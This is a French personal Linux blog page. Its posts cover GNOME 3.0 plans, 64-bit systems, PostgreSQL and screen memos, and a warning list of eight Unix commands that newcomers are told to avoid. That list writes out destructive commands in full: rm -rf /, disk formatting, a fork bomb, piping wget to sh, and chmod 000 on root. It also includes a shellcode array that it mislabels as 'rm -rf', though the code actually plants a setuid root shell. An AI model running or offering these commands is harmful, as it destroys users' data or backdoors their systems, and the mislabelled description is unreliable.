theClimber

To content | To menu | To search

Operating System

Entries feed - Comments feed

Thursday, April 2 2009

Un regard en avant vers GNOME 3.0

20080710_gnome3.jpg

Ca a mis du temps à sortir des maquettes, on n'en parle pas encore beaucoup ou timidement, mais si vous voulez en savoir plus à propos du projet de GNOME 3.0 vous allez surement aimer la lecture du planning détaillé que l'équipe de développement nous prépare. Pendant le GUADEC (Users’ And Developers’ European Conference) l'idée de base était surtout de parler de GNOME 3.0 et on espérait aussi que ça serait l'occasion pour qu'on puisse commencer à en parler plus sérieusement. Et c'est arrivé. Avant les gens essayaient vaguement de mettre quelques propositions d'idées sur papier, après le GUADEC nous voyons un résultat plus concret avec un planning précis, des propositions et du code !

Espérons maintenant que le planning qui a été mis en place est la bonne manière d'avancer, et qu'elle sera acceptée par la communauté. Pour en savoir plus je n'ai pas recopié le mail d'annonce, mais allez lire ce dernier (il est coupé en deux à cause du système d'archives web, voici la seconde partie) ou vous pouvez aussi aller lire la version wiki.

Cette nouvelle version va apporter beaucoup de nouveautés et de changements. C'est à double tranchant et peut proposer des avantages comme des inconvénients. Espéront qu'on ne va pas assister à un grand flop comme on a pu le voir avec KDE 4 qui se remet tout doucement de sa chute. Voici en quelques lignes les grands axes de développement proposé pour GNOME 3.0 :

  • Une nouvelle expérience utilisateur
    • Gnome Shell a pour but de changer la façon de passer d'une application à l'autre, changer la manière de fonctionner habituelle
    • Changer la manière dont on accède à nos documents et notre manière de fonctionner
  • Remise à jour de la platteforme
    • Supprimer toutes les librairies dépréciée qui sont encore utilisées et qui ne devraient pas
    • Créer un staging pour les librairies promettantes qui ne sont pas encore intégrée car pas encore assez stables, mais ça pourrait venir (comme Gstreamer)
    • Intégrer quelques effets sympas qui sont déjà largement utilisés comme les effets 3D (avec Clutter) ou la géolocalisation (avec GeoClue)
    • Intégrer quelques dépendances extérieures comme D-Bus ou Avahi
    • Rendre les bindings plus proche et attirer les développeurs de plusieurs langages
  • Promotion de GNOME

Saturday, February 21 2009

Pourquoi passer au 64 bits? ... ou pas !

On dit partout que le 64 bits c'est la technologie du futur, on voit de plus en plus de vendeurs proposer des ordinateurs munis d'architectures 64 bits ... mais au fond, qu'est-ce que ça va réellement changer? Est-ce que la différence de performance entre un processeur dual-core 32bits et 64bits est différente?

Dans les benchmarks développant les performances des programmes il n'est pas rare de voir des comparaisons entre les différents types de processeurs, et notamment les processeurs 64bits. On est toujours surpris de voir que les performances sont meilleures que pour les processeurs 32 bits. Que se cache-t-il la derrière?

a64.jpg

Si vous souhaitez installer une distribution linux 64 bits, à quel types de problèmes vous risquez d'être confrontés?

J'essaye ici de survoler un peu la question en fonction des connaissances que j'ai en la matière. Je pense effectivement qu'il est intéressant de se poser ce genre de questions lorsqu'on a l'intention de s'acheter un nouvel ordinateur. D'autant plus que les vendeurs actuellement tentent de conseiller le 64 bit. Est-ce que le monde des logiciels est prêt pour le 64bits?

Continue reading...

Tuesday, January 13 2009

MEMO : créer plusieurs instances de postgresql sur un serveur

postgresql.png

Je ne dois plus présenter postgresql pour les spécialistes des bases de données. C'est évidement une des solutions largement utilisée sur les serveurs pour gérer les bases de données.

Maintenant le truc c'est que dans le cadre de mon boulot nous allons devoir travailler avec plusieurs bases de données qui seront répliquées sur plusieurs serveurs avec des règles de load_balancing et autres. En d'autres mots, il faut mettre tout ça en place pour que ça marche.

Alors pour pouvoir effectuer des tests je me demandais comment on pouvais lancer plusieurs instances de postgresql sur un même serveur. Je veux dire par là, avoir accès à plusieurs serveurs de base de données sur différents ports de mon localhost. Eh bien figurez vous que c'est archi-simple à créer :

sudo pg_createcluster [options] <version> <cluster_name>

Et voilà le travail. Ca va vous créer un nouveau répertoire dans /etc/postgresql/<version>/<cluster_name> dans lequel vous avez un fichier postgresql.conf qui vous permet de personnaliser ce serveur. Vous pouvez donc stocker les données dans un autre endroit et tout. Voilà donc une manière légère de pouvoir bosser sur plusieurs instances de bases de données sans pour autant risquer de tout foutre en l'air.

Thursday, January 8 2009

Memo : la commande screen

Voici un petit mémo pour moi pour ne plus oublier comment ça marche.

Screen est un petit programme qui permet d'émuler un terminal, rendant possible l'exécution de plusieurs applications terminales full-screen à partir d'une seule instance de terminal. Il vous permet de manipuler et de sauver vos session, votre input et votre output, et même de faire du copy/paste entre plusieurs instances. Pour les détails je vous renvoie bien évidement vers la page de manuel.

screen [options] [command [args] ]

Donc pour faire ce dont j'avais besoin :

  • Créer un screen :
screen -R nomDuScreen
  • Détacher un screen :
CTRL + a + d
  • Récupérer un screen :
screen -R nomDuScreen

Wednesday, December 24 2008

Nagios Network Monitoring System Setup on Ubuntu

logofullsize.png

Nagios is a free, open-source tool that can be used to monitor network components and services. When it detects a problem, it can send alert messages by either e-mail or pager. It can also be configured so that only designated personnel can view status information for particular services or equipment. This tutorial will show you how to install Nagios 3 on an Ubuntu 8.10 server.

Nagios3 is in the repository for Ubuntu 8.10.

Continue reading...

Friday, December 5 2008

8 commandes Unix pour crasher votre système

1207355624a6pHQkY.jpg

Si vous êtes nouveau sous linux, il y a des chances que vous rencontriez des gens stupides sur des forums ou dans des salons de chats qui pourraient vous conseiller d’exécuter des commandes louches dans votre terminal. Ces commandes pourraient crasher tout votre système de fichiers … voire pire, tout votre système d’exploitation. Pour éviter ce genre de scénarios dangereux, voici une petite liste non-exhaustive des commandes que vous feriez mieux d’éviter.

1. Code:

[bash]
rm -rf /

Cette commande va supprimer (sans vous poser de question de confirmation) récursivement tous les fichiers et répertoires qui se trouvent dans votre dossier racine, c’est à dire tout.

2. Code:

[bash]
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Ceci est la forme hexadecimale de “rm -rf” qui pourrait surprendre même des personnes plus expérimentées sous Linux

3. Code:

[bash]
mkfs.ext3 /dev/sda

Ceci va reformater et supprimer tous les fichiers qui se trouvent sur ce périphérique … or /dev/hda c’est en général votre disque dur principal.

4. Code:

[bash]
:(){:|:&};:

Connu sous le nom de “forkbomb” (bombe de fork), cette commande va dire à votre système d’éxécuter un nombre énorme de process jusqu’à ce qu’il gèle le système. Ceci peut souvent mener à des corruptions de données.

5. Code:

[bash]
toute_commande > /dev/sda

Avec cette commande, les données renvoyées par votre commande toute_commande sera directement écrite sur un block du périphérique ce qui va engendrer des problèmes sur ce dernier, voire conduire à une perte totale des données.

6. Code:

[bash]
wget http://some_untrusted_source -O- | sh

Cette commande-ci ne va pas nécessairement tout foutre en l’air … mais va exécuter sans vous demander votre avis le contenu se trouvant à la page pointée. Donc n’exécutez jamais une commande du genre si vous n’êtes pas certain de la source qui vous envoie ce lien. Ca pourrait executer du code malicieux inapproprié.

7. Code:

[bash]
mv /home/yourhomedirectory/* /dev/null

Cette commande-cu va déplacer votre répertoire et tous les fichiers qui se trouvent dedans dans un endroit qui n’existe pas. En d’autres mots vous n’allez plus jamais les revoir.

8. Code:

[bash]
chmod 000 -R /

Ici tous les fichiers récursivement en partant de la racine vont changer de permissions. Ils seront tous en “not-readable”, “not-executable”, “not-writable” … en d’autres mots, votre système sera inutilisable. Mais récupérable avec un liveCD.

Il y a surement plein d’autres commandes équivalentes pour crasher votre ordi et que je n’ai pas citées ici, donc si vous pensez à d’autres commandes du genre, n’hésitez pas à les ajouter en commantaire.

Crash_by_PReilly.jpg

Cet article est une traduction de l’article The 7 Deadly Linux Commands et un peu amélioré.